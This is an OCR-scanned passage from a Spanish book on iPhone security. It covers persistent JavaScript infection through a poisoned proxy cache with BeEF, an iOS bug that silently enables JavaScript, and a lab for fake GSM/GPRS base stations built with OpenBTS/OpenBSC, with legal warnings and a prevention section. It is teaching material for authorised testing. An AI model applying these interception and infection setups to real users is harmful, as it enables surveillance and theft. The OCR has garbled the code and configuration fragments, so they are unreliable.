descargard y se infectara sin ni siquiera saberlo. Ademds de afiadirlo a su caché con cxpiracian
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infinita para sus préximas visitas en una red de confianza. Después se modifica cl pavioad con
la instruccidn de escribir ¢l fichero js elegido en el fichero que actualmentc se esta descargando.
Dicho de otra manera, se infecta un fichero JavaScript que la victima haya solicitado incluyéndole
la peticién del fichero js elegido para ¢l ataque dirigido. Lste fichero volverd a ser infeetado y
almacenado en cuché, para su futura utilizacion.

Una ves que la vietima se encuentre en un entorno confiable, como su propio hogar y su propia red,
visitard webs que no visitaria en otro cntorno como por ejemplo, como ya se ha mencionado antes,
su banco. Al realizar la petician de la web, solicitard el js elegido anteriormente, y cargard ese fichero
intectado de la caché, por lo que se volvera a conectar a la maquina piiblica donde se encuentra el
portal de administracién de la Botnet y se podra continuar con el ataque.

El hecho de que el ataquc tenga continuidad una vez que la victima sc cncuentre fuera de la red
suplanlada no solo permite ataques dirigidos, sino gue ohteniendo la direccién [P de la victima se
puede realizar un seguimiento geografico a través de los diferentes servicios de geolocalizacion de
las direcciones IP disponibles en Internet. Aunque es cierto que su preeision no es la de un sistemia
GPS. permite conocer, por ejemplo, si ha salido de la ciudad.

Visto el funcionamiento de la infeccion de JavaScripr, lo primero que se puede pensar cs cn
desactivar la ejecucion JuvaScript en el navegador del dispositivoe, pero ademis de perder gran parte
de la funcionalidad de las webs actuales, esto no asegura la no cjccucion de c6digo JavaSeript como
sC vera a continuaciéon. Ademds, aunque cl cliente haya deshabilitado JavaScript, hay que tener
en cuenta que no solo con JavaScript se pueden capturar datos del cliente y manipularlos, ya que
existen otras inyecciones, basadas en CSS, WML, SVG y otros lenguajes que soporta el navegador
yue podrian permitit comportamientos similures.

Por tltimo, se descubrit que en iOS 6, iOS 6.0.1 e iOS 6.0.2 existe un bug, catalogado con el
CVE-2013-0974, que permite hahilitar JavaScript en una pagina web aungue el usuario lo haya
deshabilitado en las preferencias.

Ll bug existe en la caracteristica de Smart App Banner, que permite promocionar una aplicacion de
App Store desde el navegador, para lo que se puede comprobar si la app en cuestion esta va instalada
(para abrirla) o sino lo estd (para abrir el enlace ¢n la App Store). Lil problema es que para comprobar
81 la aplicacion promocionada cs compatible con el dispositivo que se encuentra visitando 1a web,
es necesario JavaScript, y si el terminal no lo tiene habilitado;lo hahilita directamente y sin ningtin
tipo de notificacién. Con lo cual, aprovechando csta vulnerabilidad el ataque de infeccion JavaScript
sigue siendo igual de efectivo. Dado que la caracteristica de Smart App Banners se hasa en una
simple eliqueta HTMI., con el mismo entorno con el que se ha hecho la infeccion JavaScript se puede
hacer la inyeceién HIML para incluir dicha ctiqueta, y asf asegurar la ejecucion de Ju vaScript. La
moditicacion del scripf para la inyeccién ITTML es trivial y carece de sentido describirla.

smela nane=*apple-itunes-app” content—"acp— d-myhppSLor=ID, affiliate
date=nyaAffiliat=Dala, app-argument=myURL">

Esle bug ha sido corregido en la version 6./ del sistema operativo i0S.
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Browser Exploitation Framework Project

. Para quien no lo conozca, BeEF (Browser Exploitation Framework Projecf) es una robusla
herramienta para realizar test de intrusion mediante JuvaScrip! para la cxplotacion de navegadores.
La cantidad de mddulos y exploits disponibles es enorme, desde un bésico alert para enviar mensajes
a las victimas, hasta la obtencion de la posicion geografica del dispositive infectado. Este framewark
estd desarrollado en ruby, v dispone de un amigable pancl de control web desde el que lanzar los
pavloads alas viclimas y ver los resultados recibidos.

Aunque originalmente Belilf estd pensada para entornos con vulnerabilidades XSS, el principio es
el mismo: inyectar codigo JavaScripi en la web que la victima visita ya sea por XS8 o incrustando
el codigo malicioso en ¢l propio fichero js de la peticion de la victima. Una vez la victima ha sido
infectada, se puede monitorizar toda la informacién acerca del navegador de la misma, y comenzar
a lanzar los pavloads oportunos. Aunque csta herramienta no esté orientada para dispositivos
mdviles, y por ello no todos los payloads disponibles obtienen resultados satisfactorios, una buena
combinacion de ellos permite recopilar gran cantidad de informacion. asi comao realivar redirecciones
y crear ifirames en la web visitada por la victima. Ademas dispone de un modulo de interoperabilidad
con Mefasploit.

Para el entorno descrito, utilizar BeEF es tan sencillo como descargarlo de la web oficial, realizar
la instalacion siguiendo los pasos del manual incluido, y modificar ¢l fichcro poison pl que utiliza
squid para realizar la infeccidn de los ficheros JavaScript solicitados por la victima. En vez de affadir
el contenido del fichero pasarela js, se concatenara el fichero siook.js proporcionado por la propia
herramienta.

 [Duninevowsers |
4 {5 Offine Browsers
4 =3 lacahost
e ﬁ‘ga = == l b [0 Browser (27) |
@3 B192163066 b (2] Cluwnm Exbensiones (T "&— i s = |
&8 86306 | v C3Debug (3) e e = — | |
| b ] Explails (37}
i b [ Host (13)
| » (ZJPEC (8)
| & (2] Metasploit (0)
b () st 8)
o b (S Hetweurk (5)
| b CIPursistence [4)
| 4 C3Plwnegsp (10) i
@ Beep E
@ Check connecticn i
© DetectFroneGap
o -
@ List Fles:
& Persist resumes !
@ Perselence :|
@ Start Recordng Audio |
I‘

@ Stop Kecording Audio
& Upbad [ e
I+ [ Sociai Enginearing (8)

Tinagen 11.24: Panel de control de BeEF.
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S.Prevencion y desinfeccion

Muchos de los ataques realizados a dia dc hoy cstan basados fundamentalmente en el desconocimiento,
la ingenuidad y la falta de interés de los propios usuarios. Es por ello que la mayor medida de
prevencion a tomar ante cualquier ataque es el sentido comun vy una bucna base en seguridad
immformatica.

Si se esla en posicion de propietario (o administrador incluso) de uno o varios AP y se quiere evitar
la suplantacidn se dehe establecer una fuerte politica de seguridad. En el caso de redes con clave
compartida (WPA —PSK v WPAZ-PSK, WEP queda descartado), ¢s conveniente urilizar una clave
lo suficientemente robusta, con una longitud de al menos 10 caracteres y un charset completo
(niimeros, lefras, simbolos y caracteres especiales). En el caso de redes que implementan validacion
contra servidores Radius, utilizar siempre un certificado ya que su falsificacion es compleja. Ademas
es importante afadir todas las capas de seguridad posibles, como ocultacién del £55ID v filtrado
por mac.

Lin el caso de ser cliente, conectarse tnica y exclusivamente a redes que sc scpa que son de confianza
en los que el cifrado sea suficicnemente robusto. Ademas utilizar la misma configuracién con P
eslalica para csa red, y de ser posible, confirmar que el punto de acceso al que se esta conectando
el equipo tiene el BSSID habitual. Para casos de necesidad donde no exisle una red de confianza,
siempre sc ticne la posibilidad de oplar por compartir la conexion del dispositive 3G si existe la
opeidn, y en caso contrario navegar lo justo ¥ necesario, evitando todo lo posible iniciar scsion en
cualquier web.

Como se ha visto anteriormente, al ataque de J§ Bormet consiste en la persistencia de los ficheros
JavaSeript cacheados con expiracion infinita, por lo que la desinfeccion pasa por ser tan sencilla
como realizar una limpieza de la cacké. Una buena practica cuando no se estd conectado a una red
de confianza consiste en la ulilizacion de la navegacion “temporal” de muchos de los navegadores
dctuales (el llamado modo seguro, fnPrivate o incdgnito), va que en tal caso aunque el equipo guede
infectado con JavaScript malicioso, este desaparecerd al corrar ¢l navegador, quedando el equipo
intacto.

Puara cl caso conereto de iPhone, existe la opeidn de deshabilitar la ejecucion de JavaScript en Safuri
desde la seccién Sajari situada en los Ajustes del dispositivo, con lo que cn Lal czso no legaria a
ejecutarse el codigo malicioso, (¢l inconveniente es que algunas webs con toda seguridad perderian
una gran parte de su fimcionalidad), o de utilizar el Made Frivade, por lo que no se almacenarian los
ficheros infectados en caché, tal v como se ha mencionado anteriormente. Pero si de verdad lo que
se quiere realizar es una limpicza de la caché, basta con acceder a djustes, Safari, Borrar cookies ¥
datos.

La siguiente imagen muestra este tltimo caso, con un logico y claro mensaje de advertencia de las
consecuencias de realizar esta aceion.
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Cancelar

Imagen 11.23: Borrado dc datos de caché en iPhone.
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Capitulo XTI
Ataques GSM-GPRS a iPhone

1.Introduccion

Las comunicaciones méviles (2G/3G) son desde hace afos, y cada vez mas, uno de los principales
canales por los gue vigja informacion muy critica de 1a mayoria de las organizaciones. Sin embargo,
cuando se realizan pruebas de intrusion, las comunicaciones 2G/3G suelen quedar fuera del alcance
de dichas pruebas, como si se consideraran seguras, lo cual es un error.

En el pasado era dificil analizar la scguridad de las comunicaciones 2G/3G de una organizacion, por
la ausenia de herramientas para ello con un coste razonable. Pero esto ya no es excusa: la aparicion
en los l.'llr\ignos aflos de dispositivos hardware de relativamente bajo costo y de herramicnias soliware
de libre distribucion, ha pucsto los medios necesarios al aleance de cnalguiera.

En ¢sle capitulo se deseribe una serie de herramientas disponibles y cdmo éstas se pueden emplear
para realizar ataques sobre distintos aspectos de las comunicaciones moviles de un dispositive como
el iPhone. Con ello se pretende que el lector sea capaz de realizar dichos ataques.

No obstante, debe lenerse en cuenla que, por supuesto, los habimales avisos de exencién de
responsabilidad aplican también en este caso: antes de realizar cualquiera de los ataques descritos
aqui, el lector debe asegurarse de conocer cualquier riesgo legal en el que pudicra incurrir,
consultando a cuantas fucntes considere oportunas. Fsta precaucidn, que es necesaria de cara a
realizar cualquier acrividad de una prueba de intrusién, en el caso de las comunicaciones méviles
es alin mas importante si cabe, va que el simple hecho de emitir sefiales GSM ¢n las bandas de
frecuencia asignadas para ¢llo, sin disponer de una licencia, constituye en si mismo una violacién
de las leyes, a diferencia de lo que sucede con otras comunicaciones, como Wi-Fi o Bluetooth, que
tilizan bandas de frecuencia de libre uso.

Para evitar ese problema legal. se sugicre realizar lodas las pruchas dentro de una jaula de Faraday',
como se describe mds adelante. De este modo la sefial emitida quedara confinada dentro de la jaula,
y se garantizard que solo se podran ver afectados por las pruebas aquellos dispositivos méviles
que hayan sido introducidos en clla. No obslanle, incluso si se utiliza una jaula de Faraday, se
recomienda obtener asesoramiento legal antes de realizar cualquier prueba.

1 knpefes.wikipedia.ovs/wikiiaula de Favaday
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Aviso: L's importante obtener asesoramiento legal antes de realizar cualquier prueba
de las que se describen en este capitulo, incluso si utiliza una jaula de Faraday.

Entre los multiples ataques conocidos contra comunicaciones 2G/3G, este capitulo se centra en
aquellos que sc pucden Hevar a cabo utilizando una estacion base falsa 2G, porque con una misma
infraestructura se pueden realizar una gran variedad de ataques, abteniendo control total sobre las
comunicaciones de los dispositivos victima, tanto de voz como de mensajes cortos (SMS) o de datos
(TP).

Los ataques que se van a deseribir afectan solo a comunicaciones 2G, ya que aprovechan la [falta
de autenticacién bidireccional de GSM/GPRS, v en principio no afectarian a 3G, Pero en realidad
también sc pucden efectuar contra dispositivos que son 3G, porque la mayoria de estos dispositivos
admiten el servicio 2G cuando no pueden obtener servicio 3G, y un atacanic no lendria mas que
utilizar un inhibidor de frecuencias (jammer) de la banda de 3G para hacer imposible al dispositiva

viclima oblener servicio 3G.

2.Herramientas necesarias

Infraestructura basada en OpenBTS

Descripeifin general de componentes

La infraestructura basada en el software de cddigo abierto OpenBTS? puede utilizarse para cmular
las capacidades de un atacante que pretenda interceptar y manipular comunicaciones GSM de
dispositivos moéviles. Este lipu de infracstructura presenta un interfaz radio Um (2G) a cualquier
dispositivo mévil, emulando también parte de la funcionalidad de una red GSM. Asimismo, actiia
como pasarela para las comunicaciones entre ese interfaz v una red [P con sefializacion Sip.

En ¢l momento de escritura de este capitulo, OpenBTS tiene 2 versiones utilizables: OpenBTS
2.6 (rama de desarrollo completamente cerrada y terminada) v OpenBTS 2.8 (rama de desarrollo
abierta). La version de uso recomendada es la Z.& por varios motivos®:

- Los propios desarrolladores de OpenBTS lo recomiendan

- Yano hay desarrollo oficial sobre OpenBTS 2.6

- El soporte al driver UHD esta descontinuado en OpenB1S 2.6 (y por tanto el soporte a
todos los dispositivos radio que no sean USRPL) y se ha trasladado a OpenBTS 2.8

2 http:Awushonet/trocirangenublic

3 Cn este capitulo haremos referencia a las 2 versiones de UpenB1 S por completiud en la exposicion.
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Ln profesional de la informética que desee realizar pruebas dc ataque sobre comunicaciones
moviles, emulando una red GSM medianle una infracstructura basada en UpenBTS debe disponer
de un laboratorio con los siguienics componentes:

s HW:

- Un dispositivo de comunicaciones de radio capaz de emitir en las frecuencias de GSM
(850 MHz, 900 MHZ y 1800 MHZ). Fste dispositivo sera cualquicra de Tos modelos
soportados de USRP'. modificado en aquellos casos dondc sea necesario con un reloj lo
suflicicntemente preciso’.
- Un ordenador con sistema operativo Linux (recomendado Ubunitu) donde instalar todos
los elementos softwarc.
- Cubles, conectores, antenas.
- Unajaula de Faraday
+ SW:
- Un driver para gestionar el dispositivo radio, que segiin la version puede ser libusrp de
GNURadie o bien UHD.
- Elsoftware OpenBTS, que incluye un modem radio y otros clementos. _
- Una PBX software (tipicamente Asterisk o freeswitch) ’
* Conectividad: conectividad IP con internet para poder enrutar llamadas salicntes desde
OpenBTS a cualquier ndmero a través de un proveedor de servicios VoIP y también entrantes a ese

proveedor (que luego podrian ser enrutadas a los terminales internos mediante configuraciones
cspecificas en la PBX).

Estos componentes se combinan para proporcionar las siguientes funciones:
* Emisién / recepeion de radio: realizada por el dispositivo radio elegido.

* Modulaciin de la sefial: El software de OpenBTS implementa un modem softwarc
denominado Transceiver, quc corre como un proceso independiente y arrancado por el software
de OpenBTS.

* Niveles 1,2y 3 del protocolo: El sollwarc de OpenBTS hace uso del transceiver para acceder
al disposmvo de radio e implementa un subconjunto fuuda:meﬂtal de los protocolos de nivel 1,
2y 3 de GSM.

* Enrutamiento de llamadas: Las funciones de enrutamiento de llamadas (que en una ted
GSM son proporcionadas por ¢! MSC) son realizadas por una PBX sofllware (tipicamente
Asterisk, aunque los detalles seran proporcionados mas adelantc),

* Gestion de usuarios: Las funciones de gestion de usuarios de la red, que son realizadas por
el VLR y HLR en una red GSM, son proporcionadas también por la infraestructura:

4 hip:denuadio. orglredminedprojectsignuradiotwiki/OpenBTSUID
S hitpdigmuradio.orgdredmineprojectsigniradio/wiki/OpenB 1 SUHDHClocks
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- OpenBTS 2.6; estas funciones las realiza la PBX
- OpenBTS 2.8: estas funciones las realiza una base de datos SQ7.ize3 en conjuncidn con
la PBX
» Autenticacién de usuarios: La autenticacion dc usuarios ¢s realizada:
- OpenBTS 2.6: directamente mediante consultas a la PBX
- OpenBTS 2.8: mediante un madulo especifico para realizar esta funcién (sipauthserve)
que corre como proceso independiente en ¢l mismo u olro servidor que OpenBTS
« Soporte a SMS: el servidor store-and-forward para soportc a SMS se denomina singueue y
es suministrado junto con ¢l sollware OpenBTS como elemento opcional.

« Aislamiento del entorno de pruebas: debido a que el uso de frecuencias de radio esta
fucriemente regulado en la mayoria de los paises, asi como la suplantacion de operadores y
la captura de comunicaciones, todas las pruebas de intrusion deben realizarse c¢n un enlorno
cerrado v protegido. Listo puede conscguirse con una jaula de Faraday profesional que cuente
con conectores apantallados al exterior® ",

Fl siguicnlc diagrama refleja un setup con los componentes HW y SW mas comunes® para una
infraestructura basada en OpenBTS2.6 y las relaciones entre ellos:

ViokP Sevvice
Provider

Tmogen 12.01: Componentss tipicos de una infraestructura basada en OpenBIS 2.6.

Eu las versiones de OpenBTS 2.8 y posteriores el diagrama de componentes varia notablemente
puesto que cxisten componentes distintos y otros son adicionales. Aunque pucde usarse una
configuracién multi-BTS, para los proposilos de una prueba de intrusion la configuracion con BTS
{nica es suficiente v es la que se muestra en la figura siguicnte:

6 Aunque la prueba de intrusién csté autorizada por un cliente. este con toda probabilidad no tiene competencla pura
autorizar el use del espectro radioelectrico ni la suplantacién de operadores de telecomunicaciones. Queremos remarcar
yue cualquier actividad de prueba de intrusién sobre comumicuciones moviles realizada fuera de la jaula de Faraday,

es sepuramente ilegal e incluso peligrosa para lu seguridad de las persanas, puesto que pedriamos privar a determinado
terminal de lus comunicaciones de emereencia sarantizadas por la Iey. Por csto debemos insistir en gue es extremadaments
importante realizar cualquiera de las pruebas descritas cn este capitulo dentro de una javla de Faraday.

7 Ohviamente este clemento no €3 necesanio para un atacante real.

8 En apartadus posteriores de este capitulo se detallan todos los posibles componentes yue pueden realizar cada
funcionalidad,
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Layers 12,5

Imagen 12.02: Componentes tipicos de una infracstructura basuda en OpenBTS 2.8

Notas de instalacién y configuracion

En este apartado se recogen las notas de configuracion pertinentes pura cuda componente atendiendo
a su uso especifico para realizar pruebas de concepto. La instalacidn y configuracion basicas del
software, asf como instrucciones para su uso estan recogidas en las referencias que se aportan.

Dispositivos de radio y drivers asociados =

Los dispositivos de radio utilizados por OpenBTS son lodos de la familia de las USRP” (Universal
Sofiware Radio Peripheral). Los soportados por OpenrBTS son los signientes'’:

»  USRPI: requiere la instalacion del driver libusrp de GNURadio, en lugar del driver UTID
que gestiona el resto de dispositivos. La llima version de GNURadio que incluia este driver!!
es la 3.4.2. Este driver ya no tiene soporte por parte de GNI/Radio. Las instrucciones para la
instalacion de GNURudio pueden encontrarse en la siguiente direccion: htip://GNURadio org/
vedmine/projects/GNURadio/wiki/nsiallingGR

= USRP2/N210/N200 y B100/E100/E110: OpenBTS hace uso del driver UHD™ para
comunicarse con todos estos dispositivos. Es recomendable hacer uso de la version 2.8 de
OpenBTS puesto que, como se ha comentado, ¢l soporle a esle driver en OpenBTS estaba ubicada
en algunas ramas no principales de desarrollo, y estd discontinuado en la versién 2.4 en favor de
la version de 2.8. La instalacion del driver UHD esta documentada en las referencias aportadas.

Nota: Para que OpenBTS [uncione correctamente con todos estos dispositivos es

% muy importante la precision del reloj. La cslacion base debe poseer un reloj cuanto
mas preciso mejor, que luego debera ajustarse para el adecuar el muestreo a un mil-
tiplo de 13 MH». Mas inlormacion a este respecto puede encontrarse en Affp://wuish.
netftrac/rangepublic/wiki/Clocks

Y fimp.denwikipedia.org/viki/Universal_Softweare_Radio_Peripheral
10 ity ramieridio.oradvedmine/projects/gairadio/wiki/ OpenBTS UHD
11 hiip: Hemradio.org/releases/gnuradio’

12 hitp-fevdde. etins. comivedmmedettusiprojects/nhdiviki
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PBX
Asterisk

Nata: Se presupone al lector conocimientos basicos de funcionamiento y conligura-
cion de Asierisk. Estos conocimientos pueden ser encontrados en los recursos recogi-
dos en hnp:/Avww Asterisk org/get-started.

OpenBTS 2.6 tunciona con (Asterisk en configuracién estindar (es lo que OpenB1S denomina “basic-
installation™) como PBX. OpenBTS 2.8 estd pensada para funcionar con Asterisk “real-time”, aunque
también puede funcionar con Asrerisk “basic installation™ como PBX. En este (ltimo caso, para que
funcione la integracion de la autenticacién de OpenBTS con Asterisk y el enrutamiento dindmico dc
llarnadas deben realizarse varias tareas de configuracion manual sobre Asterisk por cada registro, lo
cual hace inviable su uso en un entorno real, por lo que esta configuracion no se recomienda.

En el caso de utilizar Asterisk “basic-installation™ (tipicamente con OpenBTS 2.6), 1a instalaciin
del software puede realizarse tanto como paquete como compilando el codigo fuente. loda la
documentacion relacionada con Asterisk pucde encontrarse en: Alpiwww.dslerisk org/get-started
v en: fttp:wvn vaip-info.orgiwikifviewsdsterisk | Step-by-step | Installation.

La configuracion de /sterisk para su funcionamiento con Openidi S esti-récogida en la siguients
dirceeion: hitp:/GNURadio.org/redmine/projects/GNURadio/wiki/OpenBTSSettingUpAsterisk.

Asterisk Real Time

A partir de la version 2.8 OpenB TS puede utilizar la arquitectura Real Time" de Asterisk con SQLite3.
En concreto, ¢s un requisito para las instalactones mulfi-BTS (no necesarias para las pruebas de
concepta).

Las instrucciones de instalacion y configuracion del sistema para su funcionamiento con OpenBTS
pucden encontrarse en: hip:/sh.netirac/rangepublic/wikissglie3ODEC,

Ireeswitch
Los detalles especificos de instalacion de ['reeswirch para su funcionamiento con OpenBTS pueden
encontrarse aqui: htp:Awush.nel/tracirangepublic/wiki/freeswitchConfig

Sole como referencia, también podria utilizarse freeswilch para su funcionamiento con OpenBTS
2.6 (rama UCD), segiin las instrucciones recogidas en esta direccion: hnp/GNURadio.orgfredmine’
projectsiGNURadio/wiki/OpenBTSSettingUpFreeSWITCH

OpenBTS

Lixisten varios documentos que describen cl proceso de instalacion de OpenBTS v de todas sus
dependencias en funcion del HW v SW utilizado. Bl documento de la wiki oficial es el mas completo
al respecto es: http:wush.net/trac/rangepublic/wiki/BuildIns tallRun

13 htipeioavwwvoip-info. orgfwikidview/dsierisvict Real Time




Capitulo XII. Atagues GSM-GPRS a iPhone 259

Nota: para configuraciones basadas en OpeniTS 2.8, se recomienda crear el fiche-
ro Jetc/rsysiog d/OpenBTS.conf con el siguiente contenido para separar los logs de
OpenBTS = un fichero independiente:

local7. ™ Mmvar/log/OpenB15.log

La configuracién de Openi31'S consiste en una serie de parametros que determinan, por un lado, el
correcto funcionamiento de todos los elementos del sistema v por otro, la configuracion adecuada de
la celda fulsa para que funcione ¢l ataque de estacion hasc falsa. Para el primer ohjetivo, la referencia
v notas anteriores aportan la documentacion necesaria, mientras que para el segundo se comentaran
los aspectos particulares mas adelante en este capitulo.

Infraestructura basada en OpenBSC

Descripcion general de componcntces

Si ademas de inferceptar v manipular las comunicaciones GSM de dispositivos méviles, se desea
también poder interceptar y manipular comunicaciones de datos GPRS/Edge, entonces en lugar de
la infraestructura basada en OpenBTS, descrita en ¢l apartado anterior, se puetde utilizar la que se
describe a confinuacion, basada en OpenliSC.

Elementos hardware

Los elementos hardware necesarios son:
- Una estacidn base GSM que sopurte GPRS/Edee, v que esté soportada por OpenBSCY,
coma por ejemplo las estaciones base nanoBTS de [Pdccess (concretamente el maodelo
165CU para banda de 900 MHz, o el modelo 165G para la banda de 1800 MHz).

- Un PC con sistema operativo GNLU/Linux donde instalar todos los clementos sollware
relacionados con OpenBSC. No es necesario que sea especialmente potente: un pequefio
netpc sirve perfectamente. Puede incluso usarse una maquina virtual, instalada en algin
equipo fisico que tenga las conexiones necesarias.

- Opcionalmente (recomendado): un segundo PC, también con sistema operativo GNUY
Linux, en el que instalar todos los elementos de software relacionados con la manipulacion
de trafico IP v ataque a través del mismo. Puede utilizarse una scgunda maquina virlual,
instalada en ¢l mismo equipo fisico que el anterior.

- Cables, conectores, antenas. Mas adelante se describen con mas detalles las conexiones
necesarias.

- Unajaula de Faraday'

14 Ademas de las naneBTS de [PAccess, OpenBSC soporta también la BTS BS-11 de Siemens y la BTS sysmeDBTS de
sysmocom (fitp:/ivvwsysmocon.comy). compafia fundada por los ereadores de UpenBSC,

15 Aunque la prueba de intrusicn esté autarizada por un cliente, este con toda probabilidad no tiene eampetencia para
autorizar ¢l use del espectro radiocléetrico ni la suplantacién de operaderes de telecomunicaciones, Queremoes remarcar
que cualquier aciividad de prueba de intrusion sobre comunicaciones moviles realizady fuera de la jauls de Faraday. es
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Nota: [.as estaciones base nanoBTS incluyen unas pequeiias anlenas, gue son sufl-
cientes para dar cobertura a su alrededor. No obstante, si se desea utilizar antenas
directivas, por ejemplo. es posible reemplazar las pequefias antenas integradas por
otras. conectandolas mediante cables con coneclores de tipo SMA. i

Flementos software /
Los elementos software necesarios son: f

- OpenBSC, |

- OsmoSGSN (aplicacién osmo-sgsn, incluida en OpenBSC). Y

- OpenGGSN. i

- Sistema operativo GNU/Linux. i

- LCR (Linux Cuall Rouler), si se desea poder manipular las comunicaciones de voz y SMS.
- Asterisk, si se desea poder manipular las comunicaciones de voz y SMS.

- Software de manipulacién de trafico IP o de ataque a través de IT, como por gjemplo,
IPtables, Wireshark, Metasploit, dusmasg, etcétera. Opcionalmente (de hecho es la opeidn

que se recomienda') este sollware puede instalarse en un equipo adicional ubicado entre el
equipo de OpenliSC e Internet.

Conectividad con Internet

Ademais de los elementos hardware y software descritos, serd necesario contar con conectividad
1P hacia Internet, desde el laboratorio, cuando cste se esté utilizando. Conerelamente, debe poder
llegarse a Internet desde el equipo GN U/ Linux.

Esta conexion a Internet es necesaria para enrutar a través de ella todo el trafico IP de las conexiones
de datos de los disposilivos moviles victima, y también para enrutar a traves de ella, utilizando VoIP,
las llamadas externas de voz que se quiera cursar, igual que se deserihié en el caso del lahoratorio
basado en OpenBTS.

La leenologia empleada para obiener esa conectividad puede ser de cualguier tipo: Wi-Fi, 3G a
través de modem USR, conexién ethernet con salida por ADSIL. o eable, cle.

Arquitectura =
En el siguiente diagrama se muestra un posible montaje de un laboratorio con los componentes [TW
y 8W de unu infraestructura basada cn OpenBSC, v a continuacion se describe dicho montaje.

ilzgal e incluso peligrosa para la seguridad de las personas, puesto que podriamos privar a determinado terminal de Jus
comunicaciones de cmergeneia garantizadas por la ley. Por esto debemos insislic en que es extremadamente importante
realizar cualquiera de las proebas descritas en este capitulo dentro de una jaula de Faraday.

16 Separar el software de manipulacion de trafico IP en un segundo equipo, permite que dicho equipo pusda ser reutilizado,
cuando sea necesario, para manipulacion de trifico provenienle de otras conexiones, como pusden ser puntos de acceso
Wi-F falsos, por ejemplo.
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Imagen 12.03: Componentes de una infragstructura basada en OpenRSC.

Comenzanda por la parte izquierda de la figura, el dispositivo victima deberd ser introducido en
la jaula de Faraday. En el interior de la misma, se habrin conectado dos antenas (por gjemplo
las propias antenas que vienen con la nanoBTS) en sendos concetores SMA de dentro, v en los
correspondientes conectores del exterior de la caja (también SMA) deberdn conectarse sendos
cables de 50 ohmios, que iran conectados en su otro extremo a los conectores (también SMA) de
transmision (TX) y recepeion (RX) de la nanoBTS (esquinas inferiores izquicrda y derecha).

La estacion basc nanoBTS sc alimenta a través del mismo puerto ethernet por el que se comunicard
con el PC. Para aportar esa alimentacion la naneBT7S viene con un transformador que por un lado
se coneeta a la corriente cléetrica (220V AC). v por ¢l otro Lliene dos puertos RJ45: uno etiquerado
como “BTS”, que debe conectarse al puerto R145 de la nane8T5 mediante un cable ethernet directo,
y otro puerto RJ45 etiquetado como “LAN", que debera conectarse al equipe OpenBSC mediante un
cable ethernet cruzado (o mediante cables dircetos, utilizando un hub o switch entre ambos equipos).

En ¢l cquipo OpenBSC deben estar instalados OpenBSC, OpenGGSN y OsmoSGSN, y todas sus
dependencias, que va han sido comentadas anteriormente. La tarjeta etheret adicional del equipo
QpenBSC debera estar conectada al equipo de manipulacion de trafico, mediante cthernet, utilizando
un cable cruzado (o cables directos, utilizando un hub o switch entre ambos equipos).

En el equipo de manipulacién se habra instalado el software de captura y manipulacién de trafico
deseado, como por ejemplo IPtables, dnsmasg, Metasploit, Wireshark, v otros.

El equipo de manipulacion debera disponer ademas de una conexion a Internet mediante un camino
que no pase por el equipo OpenSC. Por ejemplo, podria tener una tatjeta ethernet adicional y tener
esta conectada a un router ADSL, o disponer de un modem USB 3G con conexion de datos a Internet
mediante 3G.

Adicionalmente, y de manera opcional, siademas de los datos se fuera a manipular las comunicaciones
de voz y SMS seria necesario contar con un servicio de VoIP a través de Internet, proporcionado
por algln proveedor. Esta parte, no obslante, queda fuera del alcance de este libro y por tanto no sc
describird con mas detalle.
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Notas de instalacion y configuracion .
En csle apartado se recogen lus notas de instalacion y configuracion pertinentes para cada componente
atendiendo a su uso especifico para realizar pruebas de Epnc.epta La instalacién y configuracion

basicas del software, asi como instrucciones para su uso estan recogidas en las referencias que se
aportan. e

Instalacidn de prerrequisitos software: lihnsmacore y lihasmao-ahis
OpenBSC depende de dos librerias, flibesmocore v [libosmo-abis, que deben ser instaladas
previamente. En las siguientes direcciones pueden encontrarse las instrucciones para descargar,
compilar ¢ instalar estas librerias:

- hitp://bb.osmocom.orgitrac/wiki/libosmacore

- htip:#/OpenBSC.osmocom.org/trac/blog/libosmao-abis

Instalacion de OpenGGSN

UpenGGSN es una implementacion de un GGSN (Gateway GPRS Support Node). Lis necesario
para el enrutamiento de trafico GPRS., y ademas incluye la libreria /ibg#p, que es necesaria para que
despues. cuando se compile OpenBSC, sc incluya en la compilacion ¢l componente osmo-sgsn, que
es la implemenracién de un SGSN incluida en OpenBSC. -

En la siguiente direccion se puede encontrar mas informacion sobre OpenGGSN, incluyendo enlaces
para su descarga: hiip:#/OpenBSC.osmocom.org/trac/wiki/OpenGGSN

Noata: Se recomienda descargar el software usando gil, mejor que usar los farballs
disponibles.

El proceso de compilacion cs cl habitual: gutoreconf -fi; /configire; make; make instafl.

Instalacion de OpenBSC
En la siguiente direccion se puede obtener informacion sobre OpenBSC, incluyendo las instrucciones
de descarga del cadigo fuente: htip://OpenBSC.osmacom.org/trac/wiki/OpenBSC

Ll proceso de compilacién es el habitual: auroreconf -fi; ./configure; make; make install.

Nota: Para permitir que el SGSN acepte dar servicio a cualquier IMSL, v no solo a
los que tengan los mismos MCC y MNC que la celda que se emita, puede ser nece-
sario revertir el siguiente commir antes de compilar OpenBSC: eafe22ca7290280ca-

UF8d31d70239f30b0dbpbYd

Instalacién de uml-utilities

El paquete uml-utilites proporciona la posibilidad de crear interfaces de red de loopback adicionales
(apurte del interfaz “1o™). Dichos interfaces se erean con el comando “tunctl” y reciben nombres con
formato “tapN”" donde “N” es un niimero natural.
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/

Se recomienda usa|| un par de estos interfaces de loopback adicionales, uno para que escuche en €l el
servicio GGSN (OpenGGSN), y otro para que escuche en ¢l el servicio DNS (dnsmasg).
5

- ok ) Sy o =
La instalacion del paguete uml-utilitics sc pucde realizar ejecutando:
R
E 4
sude aztituds irslyll uml-utilities
8
La creacion y configuracioirde los interfuces de red adicionales de loopback (direcciones TP, cte.), se
puede realizar en el fichero fede/network/interfaces, con un contenido similar a este:
I interlacss(5) file used by ifup(f) and ildown(H)
auto lo
ifzce lo inet lcopkzack

¥ athl - Internel
auto stal
iface etk inet cheo

# eth> — DHCP

sulo elhl

iface echl inel slabic
address 10.10.10.5
natmwank b o e U A L

network 10.10.10.0
broadcast 10.10.10.255

¥ ethi:1 - BSC

avte ethl:1

itacs ethl:l inet static
address T T T
rietmasx 255 250.255%.0
notwork L. T 100
breadzast 10.10.10,255

| 2inl:2 - 8GEN

aunte ==l 2

iface ethl:Z net static
addrezs B i b 8 5o G
aetnask i bl da i St R
aetwirk 10.30.10.0
broadegast 10.40.10.255

¥ tap?) - (238X
auto tapd
lace tapl inet static

ardreas <l £ R E o e

netmask 2506 255 725b. 0

networx g i s )

broadcasl —0,11,11.258

pre—ip fusr/sbin/locetl -t tapd
¥ tanl - DNS

aute tanl
ilzpe zapl inet static
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address 10122261

netmask #55.255.2585.1

network 10.12.12.0

bBroadeast 10.12.12.255

